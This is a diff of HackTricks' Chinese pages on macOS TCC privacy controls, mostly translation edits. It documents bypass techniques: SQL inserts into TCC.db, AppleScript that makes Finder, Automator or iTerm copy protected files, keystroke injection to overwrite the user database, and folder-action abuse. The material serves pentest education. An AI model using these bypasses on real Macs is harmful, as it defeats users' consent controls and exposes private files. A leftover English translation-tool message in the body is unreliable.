* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,13 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>零基础学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 如果您在**网络安全公司**工作,想在**HackTricks**中看到您的**公司广告**,或者想要获取**PEASS最新版本或以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库**提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -16,7 +18,7 @@
|
|||
|
||||
**TCC(透明度、同意和控制)**是macOS中的一种机制,用于**限制和控制应用程序对某些功能的访问**,通常从隐私角度出发。这可能包括位置服务、联系人、照片、麦克风、摄像头、辅助功能、完整磁盘访问等等。
|
||||
|
||||
从用户的角度来看,当应用程序想要访问TCC保护的某个功能时,他们会看到TCC正在执行**。这时,会出现一个对话框提示用户是否允许访问。
|
||||
从用户的角度来看,当应用程序想要访问TCC保护的某个功能时,他们会看到TCC的作用。这时,会出现一个对话框**提示用户**,询问他们是否允许访问。
|
||||
|
||||
也可以通过用户的**明确意图**来**授权应用程序访问**文件,例如当用户**拖放文件到程序中**时(显然程序应该能够访问它)。
|
||||
|
||||
|
@ -24,42 +26,42 @@
|
|||
|
||||
**TCC**由位于`/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`的**守护进程**处理,并在`/System/Library/LaunchDaemons/com.apple.tccd.system.plist`中配置(注册mach服务`com.apple.tccd.system`)。
|
||||
|
||||
有一个**用户模式tccd**,为每个登录的用户运行,定义在`/System/Library/LaunchAgents/com.apple.tccd.plist`中,注册mach服务`com.apple.tccd`和`com.apple.usernotifications.delegate.com.apple.tccd`。
|
||||
有一个**用户模式的tccd**,为每个登录的用户运行,定义在`/System/Library/LaunchAgents/com.apple.tccd.plist`中,注册mach服务`com.apple.tccd`和`com.apple.usernotifications.delegate.com.apple.tccd`。
|
||||
|
||||
这里你可以看到作为系统和用户运行的tccd:
|
||||
这里您可以看到作为系统和用户运行的tccd:
|
||||
```bash
|
||||
ps -ef | grep tcc
|
||||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
|
||||
```
|
||||
权限是**从父应用程序继承的**,并且权限是基于**Bundle ID**和**Developer ID**进行**跟踪**的。
|
||||
权限**继承自父级**应用程序,且权限基于**Bundle ID**和**Developer ID**进行**跟踪**。
|
||||
|
||||
### TCC 数据库
|
||||
|
||||
然后允许/拒绝存储在一些 TCC 数据库中:
|
||||
允许/拒绝操作随后存储在一些 TCC 数据库中:
|
||||
|
||||
* 系统范围的数据库位于 **`/Library/Application Support/com.apple.TCC/TCC.db`**。
|
||||
* 此数据库受到 **SIP 保护**,因此只有 SIP 绕过才能写入它。
|
||||
* 用户 TCC 数据库 **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** 用于每个用户的偏好设置。
|
||||
* 此数据库受保护,因此只有具有高 TCC 权限的进程(如完全磁盘访问)才能写入它(但它不受 SIP 保护)。
|
||||
* 针对每个用户偏好设置的用户 TCC 数据库 **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**。
|
||||
* 此数据库受保护,因此只有具有高级 TCC 权限(如完全磁盘访问)的进程才能写入它(但它不受 SIP 保护)。
|
||||
|
||||
{% hint style="warning" %}
|
||||
上述数据库也**受 TCC 保护以限制读取访问**。因此,除非是来自具有 TCC 特权的进程,否则您**将无法读取**您的常规用户 TCC 数据库。
|
||||
上述数据库也**受 TCC 保护以限制读取访问**。因此,除非是来自具有 TCC 权限的进程,否则您**无法读取**常规用户的 TCC 数据库。
|
||||
|
||||
然而,请记住,具有这些高权限的进程(如 **FDA** 或 **`kTCCServiceEndpointSecurityClient`**)将能够写入用户的 TCC 数据库
|
||||
然而,请记住,具有这些高权限的进程(如 **FDA** 或 **`kTCCServiceEndpointSecurityClient`**)将能够写入用户的 TCC 数据库。
|
||||
{% endhint %}
|
||||
|
||||
* 还有第**三个** TCC 数据库位于 **`/var/db/locationd/clients.plist`**,用于指示允许**访问位置服务**的客户端。
|
||||
* 第**三个** TCC 数据库位于 **`/var/db/locationd/clients.plist`**,用于指示允许**访问位置服务**的客户端。
|
||||
* 受 SIP 保护的文件 **`/Users/carlospolop/Downloads/REG.db`**(也受 TCC 保护以限制读取访问),包含所有**有效 TCC 数据库**的**位置**。
|
||||
* 受 SIP 保护的文件 **`/Users/carlospolop/Downloads/MDMOverrides.plist`**(也受 TCC 保护以限制读取访问),包含更多 TCC 授予的权限。
|
||||
* 受 SIP 保护的文件 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**(但任何人都可读)是需要 TCC 异常的应用程序的允许列表。 
|
||||
* 受 SIP 保护的文件 **`/Users/carlospolop/Downloads/MDMOverrides.plist`**(也受 TCC 保护以限制读取访问),包含更多授予的 TCC 权限。
|
||||
* 受 SIP 保护的文件 **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**(但任何人都可读)是需要 TCC 例外的应用程序的允许列表。 
|
||||
|
||||
{% hint style="success" %}
|
||||
**iOS** 中的 TCC 数据库位于 **`/private/var/mobile/Library/TCC/TCC.db`**
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
**通知中心 UI** 可以对系统 TCC 数据库进行**更改**:
|
||||
**通知中心 UI** 可以在系统 TCC 数据库中进行**更改**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -134,7 +136,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
|
||||
<summary>如果是绝对路径该如何执行</summary>
|
||||
|
||||
只需执行 **`launctl load you_bin.plist`**,使用类似的 plist:
|
||||
只需执行 **`launchctl load your_bin.plist`**,使用类似的 plist:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -175,9 +177,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
|
||||
* **`auth_value`** 可以有不同的值:denied(0), unknown(1), allowed(2), 或 limited(3)。
|
||||
* **`auth_reason`** 可以取以下值:Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
|
||||
* **csreq** 字段用于指示如何验证要执行的二进制文件并授予 TCC 权限:
|
||||
|
||||
</details>
|
||||
* **csreq** 字段用于指示如何验证要执行的二进制文件并授予TCC权限:
|
||||
```bash
|
||||
# Query to get cserq in printable hex
|
||||
select service, client, hex(csreq) from access where auth_value=2;
|
||||
|
@ -211,7 +211,7 @@ tccutil reset All
|
|||
```
|
||||
### TCC 签名检查
|
||||
|
||||
TCC **数据库** 存储应用程序的 **Bundle ID**,但它也 **存储** 有关 **签名** 的 **信息**,以 **确保** 请求使用权限的应用程序是正确的。
|
||||
TCC **数据库** 存储应用程序的 **Bundle ID**,但它也 **存储** 有关 **签名** 的**信息**,以**确保**请求使用权限的应用程序是正确的。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -238,7 +238,7 @@ csreq -t -r /tmp/telegram_csreq.bin
|
|||
|
||||
然而,对于应用程序来说,要**访问**某些**用户文件夹**,如 `~/Desktop`、`~/Downloads` 和 `~/Documents`,它们**不需要**具有任何特定的**权限**。系统将透明地处理访问并在需要时**提示用户**。
|
||||
|
||||
苹果的应用程序**不会生成提示**。它们包含在其**权限**列表中的**预先授予的权利**,这意味着它们将**永远不会生成弹出窗口**,**也不**会出现在任何**TCC 数据库**中。例如:
|
||||
苹果的应用程序**不会生成提示**。它们在其**权限**列表中包含**预先授予的权利**,这意味着它们将**永远不会生成弹出窗口**,**也不**会出现在任何**TCC 数据库**中。例如:
|
||||
```bash
|
||||
codesign -dv --entitlements :- /System/Applications/Calendar.app
|
||||
[...]
|
||||
|
@ -252,10 +252,10 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
这将避免日历请求用户访问提醒、日历和地址簿。
|
||||
|
||||
{% hint style="success" %}
|
||||
除了一些关于权限的官方文档外,还可以在[**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)找到关于权限的**非官方有趣信息**。
|
||||
除了一些关于权限的官方文档外,还可以在 [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) 找到关于权限的**非官方有趣信息**。
|
||||
{% endhint %}
|
||||
|
||||
一些TCC权限包括:kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotos... 没有公开的列表定义了所有这些权限,但你可以查看这个[**已知权限列表**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)。
|
||||
一些 TCC 权限包括:kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotos... 没有公开的列表定义了所有这些权限,但你可以查看这个[**已知权限列表**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)。
|
||||
|
||||
### 敏感的未受保护地方
|
||||
|
||||
|
@ -265,7 +265,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
|
|||
|
||||
### 用户意图 / com.apple.macl
|
||||
|
||||
如前所述,可以通过将文件拖放到应用程序上来**授予应用程序对文件的访问权限**。这种访问不会在任何TCC数据库中指定,而是作为文件的**扩展** **属性**。此属性将**存储允许应用程序的UUID**:
|
||||
如前所述,可以通过将文件拖放到应用程序上来**授予应用程序对文件的访问权限**。这种访问不会在任何 TCC 数据库中指定,而是作为文件的**扩展** **属性**。此属性将**存储**允许应用程序的 UUID:
|
||||
```bash
|
||||
xattr Desktop/private.txt
|
||||
com.apple.macl
|
||||
|
@ -286,13 +286,13 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
|||
另外请注意,如果您将允许计算机中某个应用的 UUID 的文件移动到另一台计算机,因为同一个应用将有不同的 UIDs,它不会授予那个应用访问权限。
|
||||
{% endhint %}
|
||||
|
||||
扩展属性 `com.apple.macl` **无法像其他扩展属性那样被清除**,因为它受到 **SIP** 的保护。然而,正如[**这篇文章中解释的**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/),通过对文件进行**压缩**,**删除**,然后**解压**,可以禁用它。
|
||||
扩展属性 `com.apple.macl` **无法像其他扩展属性那样被清除**,因为它受到 **SIP** 的保护。然而,正如[**这篇文章中解释的**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/),通过对文件进行**压缩**,**删除**然后**解压**,可以禁用它。
|
||||
|
||||
## TCC 权限提升与绕过
|
||||
|
||||
### 插入到 TCC
|
||||
|
||||
如果您在某个时刻设法获得了对 TCC 数据库的写入权限,您可以使用类似以下的方法添加一个条目(移除注释):
|
||||
如果您在某个时刻设法获得了对 TCC 数据库的写入权限,您可以使用类似以下的方法来添加一个条目(移除注释):
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -340,7 +340,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
|||
|
||||
### TCC Payloads
|
||||
|
||||
如果您成功进入了一个拥有一些TCC权限的应用程序,请查看以下页面,其中包含了可以滥用这些权限的TCC payloads:
|
||||
如果您成功进入了具有一些TCC权限的应用程序,请查看以下页面,其中包含可用于滥用这些权限的TCC有效载荷:
|
||||
|
||||
{% content-ref url="macos-tcc-payloads.md" %}
|
||||
[macos-tcc-payloads.md](macos-tcc-payloads.md)
|
||||
|
@ -348,10 +348,10 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
|||
|
||||
### 自动化(查找器)到FDA\*
|
||||
|
||||
TCC权限中的自动化权限名称是:**`kTCCServiceAppleEvents`**\
|
||||
这个特定的TCC权限还指示了可以在TCC数据库中管理的**应用程序**(所以权限并不允许管理一切)。
|
||||
TCC中自动化权限的名称是:**`kTCCServiceAppleEvents`**\
|
||||
这个特定的TCC权限还指示了可以在TCC数据库中管理的**应用程序**(所以权限并不仅仅允许管理所有内容)。
|
||||
|
||||
**Finder**是一个**总是拥有FDA**的应用程序(即使它没有出现在UI中),所以如果您拥有对它的**自动化**权限,您可以滥用它的权限来**让它执行一些操作**。\
|
||||
**Finder**是一个应用程序,它**总是拥有FDA**(即使它没有出现在UI中),所以如果您对它拥有**自动化**权限,您可以滥用它的权限来**让它执行一些操作**。\
|
||||
在这种情况下,您的应用程序将需要对**`com.apple.Finder`**的**`kTCCServiceAppleEvents`**权限。
|
||||
|
||||
{% tabs %}
|
||||
|
@ -385,22 +385,22 @@ EOD
|
|||
您可以利用这一点**编写您自己的用户TCC数据库**。
|
||||
|
||||
{% hint style="warning" %}
|
||||
拥有这个权限,您将能够**请求访达访问受TCC限制的文件夹**并向您提供文件,但据我所知,您**无法使访达执行任意代码**以完全利用其FDA访问权限。
|
||||
拥有这个权限,您将能够**要求Finder访问受TCC限制的文件夹**并向您提供文件,但据我所知,您**无法使Finder执行任意代码**以完全利用其FDA访问权限。
|
||||
|
||||
因此,您将无法完全利用FDA的能力。
|
||||
{% endhint %}
|
||||
|
||||
这是获取对访达自动化权限的TCC提示:
|
||||
这是获取对Finder自动化权限的TCC提示:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,因为**自动操作**应用具有TCC权限**`kTCCServiceAppleEvents`**,它可以**控制任何应用**,如访达。所以,如果您有控制自动操作的权限,您也可以使用下面的代码控制**访达**:
|
||||
请注意,因为**Automator**应用程序具有TCC权限**`kTCCServiceAppleEvents`**,它可以**控制任何应用程序**,如Finder。所以,如果您有控制Automator的权限,您也可以使用下面的代码控制**Finder**:
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>在自动操作中获取一个shell</summary>
|
||||
<summary>在Automator中获取一个shell</summary>
|
||||
```applescript
|
||||
osascript<<EOD
|
||||
set theScript to "touch /tmp/something"
|
||||
|
@ -422,11 +422,11 @@ EOD
|
|||
```
|
||||
</details>
|
||||
|
||||
同样的情况也发生在**Script Editor app,** 它可以控制Finder,但使用AppleScript你不能强制它执行脚本。
|
||||
同样的情况发生在**Script Editor app,** 它可以控制Finder,但使用AppleScript你不能强制它执行脚本。
|
||||
|
||||
### 自动化 (SE) 到某些TCC
|
||||
|
||||
**系统事件可以创建文件夹操作,而文件夹操作可以访问一些TCC文件夹**(桌面、文档和下载),因此可以使用类似以下的脚本来滥用这种行为:
|
||||
**系统事件可以创建文件夹操作,而文件夹操作可以访问一些TCC文件夹**(桌面、文档和下载),因此可以使用如下脚本来滥用这种行为:
|
||||
```bash
|
||||
# Create script to execute with the action
|
||||
cat > "/tmp/script.js" <<EOD
|
||||
|
@ -470,9 +470,9 @@ rm "$HOME/Desktop/file"
|
|||
```
|
||||
### 自动化 (SE) + 辅助功能 (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** 到 FDA\*
|
||||
|
||||
在 **`系统事件`** 上的自动化 + 辅助功能 (**`kTCCServicePostEvent`**) 允许向进程发送 **按键指令**。通过这种方式,你可以滥用Finder来更改用户的TCC.db或者给任意应用授权FDA(尽管这样做可能会提示输入密码)。
|
||||
在 **`System Events`** 上的自动化 + 辅助功能 (**`kTCCServicePostEvent`**) 允许向进程发送 **按键指令**。通过这种方式,你可以滥用 Finder 来更改用户的 TCC.db 或者给任意应用授权 FDA(尽管这样做可能会提示输入密码)。
|
||||
|
||||
Finder覆盖用户TCC.db的示例:
|
||||
Finder 覆盖用户 TCC.db 的示例:
|
||||
```applescript
|
||||
-- store the TCC.db file to copy in /tmp
|
||||
osascript <<EOF
|
||||
|
@ -534,17 +534,17 @@ EOF
|
|||
|
||||
获取对**用户 TCC** 数据库的**写权限**,你**不能**授予自己 **`FDA`** 权限,只有系统数据库中的那个可以授予该权限。
|
||||
|
||||
但是你**可以**给自己授予**`自动化权限至查找器`**,并滥用前述技术升级至 FDA\*。
|
||||
但你**可以**给自己授予**`自动化权限至查找器`**,并滥用前述技术升级至 FDA\*。
|
||||
|
||||
### **FDA 至 TCC 权限**
|
||||
|
||||
**完全磁盘访问** 在 TCC 中的名称是 **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
我不认为这是一个真正的权限提升,但以防你觉得它有用:如果你控制了一个拥有 FDA 的程序,你可以**修改用户的 TCC 数据库并授予自己任何访问权限**。这可以作为一种持久性技术,在你可能失去 FDA 权限时使用。
|
||||
我不认为这是一个真正的权限提升,但以防你觉得它有用:如果你控制了一个拥有 FDA 的程序,你可以**修改用户的 TCC 数据库并给自己任何访问权限**。这可以作为一种持久性技术,在你可能失去 FDA 权限时使用。
|
||||
|
||||
### **SIP 绕过至 TCC 绕过**
|
||||
|
||||
系统**TCC 数据库**受到 **SIP** 保护,这就是为什么只有拥有**指定权限的进程才能修改**它。因此,如果攻击者找到了一个**文件的 SIP 绕过**(能够修改受 SIP 限制的文件),他将能够:
|
||||
系统**TCC 数据库**受到 **SIP** 的保护,这就是为什么只有拥有**指定权限的进程才能修改**它。因此,如果攻击者找到了对**文件**的 **SIP 绕过**(能够修改受 SIP 限制的文件),他将能够:
|
||||
|
||||
* **移除 TCC 数据库的保护**,并给自己所有 TCC 权限。例如,他可以滥用以下任何文件:
|
||||
* TCC 系统数据库
|
||||
|
@ -597,12 +597,14 @@ AllowApplicationsList.plist:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习 AWS 黑客技术!</strong></summary>
|
||||
|
||||
* 如果您在**网络安全公司**工作,想在**HackTricks**上看到您的**公司广告**,或者想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏。
|
||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)。
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,13 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在**HackTricks**中看到您的**公司广告**吗?或者您想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -16,7 +18,7 @@
|
|||
|
||||
### 写入绕过
|
||||
|
||||
这不是一个绕过技术,这只是 TCC 的工作方式:**它不防止写入**。如果 Terminal **没有权限读取用户的桌面,它仍然可以写入其中**:
|
||||
这不是一个绕过技术,它只是 TCC 的工作方式:**它不防止写入操作**。如果 Terminal **没有权限读取用户的桌面,它仍然可以写入其中**:
|
||||
```shell-session
|
||||
username@hostname ~ % ls Desktop
|
||||
ls: Desktop: Operation not permitted
|
||||
|
@ -30,27 +32,27 @@ asd
|
|||
|
||||
### SSH 绕过
|
||||
|
||||
默认情况下,通过 **SSH 的访问曾经拥有“完全磁盘访问”权限**。为了禁用这一点,你需要将其列出但禁用(从列表中移除并不会撤销这些权限):
|
||||
默认情况下,通过 **SSH 访问曾经拥有“完全磁盘访问”权限**。为了禁用这一权限,你需要将其列出但禁用(从列表中移除并不会撤销这些权限):
|
||||
|
||||
![](<../../../../../.gitbook/assets/image (569).png>)
|
||||
|
||||
在这里,你可以找到一些**恶意软件如何能够绕过这种保护**的例子:
|
||||
在这里,你可以找到一些**恶意软件如何绕过这些保护**的例子:
|
||||
|
||||
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,现在,为了能够启用 SSH,你需要**完全磁盘访问**权限
|
||||
请注意,现在要启用 SSH,你需要**完全磁盘访问**权限
|
||||
{% endhint %}
|
||||
|
||||
### 处理扩展名 - CVE-2022-26767
|
||||
|
||||
属性 **`com.apple.macl`** 被赋予文件,以授予**某个应用程序读取它的权限**。当**拖放**文件到应用程序上,或当用户**双击**文件以用**默认应用程序**打开它时,会设置此属性。
|
||||
属性 **`com.apple.macl`** 被赋予文件,以授予**某个应用程序读取它的权限**。当**拖放**文件到应用程序上,或当用户**双击**文件以用**默认应用程序**打开时,会设置此属性。
|
||||
|
||||
因此,用户可以**注册一个恶意应用程序**来处理所有扩展名,并调用 Launch Services 来**打开**任何文件(因此恶意文件将被授予读取它的权限)。
|
||||
因此,用户可以**注册一个恶意应用程序**来处理所有扩展名,并调用 Launch Services 来**打开**任何文件(这样恶意文件将被授予读取权限)。
|
||||
|
||||
### iCloud
|
||||
|
||||
通过权限 **`com.apple.private.icloud-account-access`**,可以与 **`com.apple.iCloudHelper`** XPC 服务通信,该服务将**提供 iCloud 令牌**。
|
||||
通过权限 **`com.apple.private.icloud-account-access`**,可以与 **`com.apple.iCloudHelper`** XPC 服务通信,它将**提供 iCloud 令牌**。
|
||||
|
||||
**iMovie** 和 **Garageband** 拥有此权限和其他允许的权限。
|
||||
|
||||
|
@ -70,7 +72,7 @@ asd
|
|||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 在 iTerm 上
|
||||
#### 通过 iTerm
|
||||
|
||||
Terminal,它没有 FDA,可以调用拥有 FDA 的 iTerm,并使用它来执行操作:
|
||||
|
||||
|
@ -86,7 +88,7 @@ write text "cp ~/Desktop/private.txt /tmp"
|
|||
end tell
|
||||
end tell
|
||||
```
|
||||
The provided text does not contain any content to translate. It is a closing tag for a code block in markdown syntax. Please provide the relevant English text that needs to be translated into Chinese.
|
||||
The provided text does not contain any content to translate. It appears to be a closing tag for a code block in markdown syntax. Please provide the relevant English text that needs to be translated into Chinese.
|
||||
```bash
|
||||
osascript iterm.script
|
||||
```
|
||||
|
@ -106,10 +108,10 @@ do shell script "rm " & POSIX path of (copyFile as alias)
|
|||
|
||||
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
||||
|
||||
用户级别的 **tccd 守护进程** 使用 **`HOME`** **环境变量** 来访问 TCC 用户数据库,位于:**`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
用户级别的 **tccd 守护进程** 使用 **`HOME`** 环境变量来访问 TCC 用户数据库:**`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
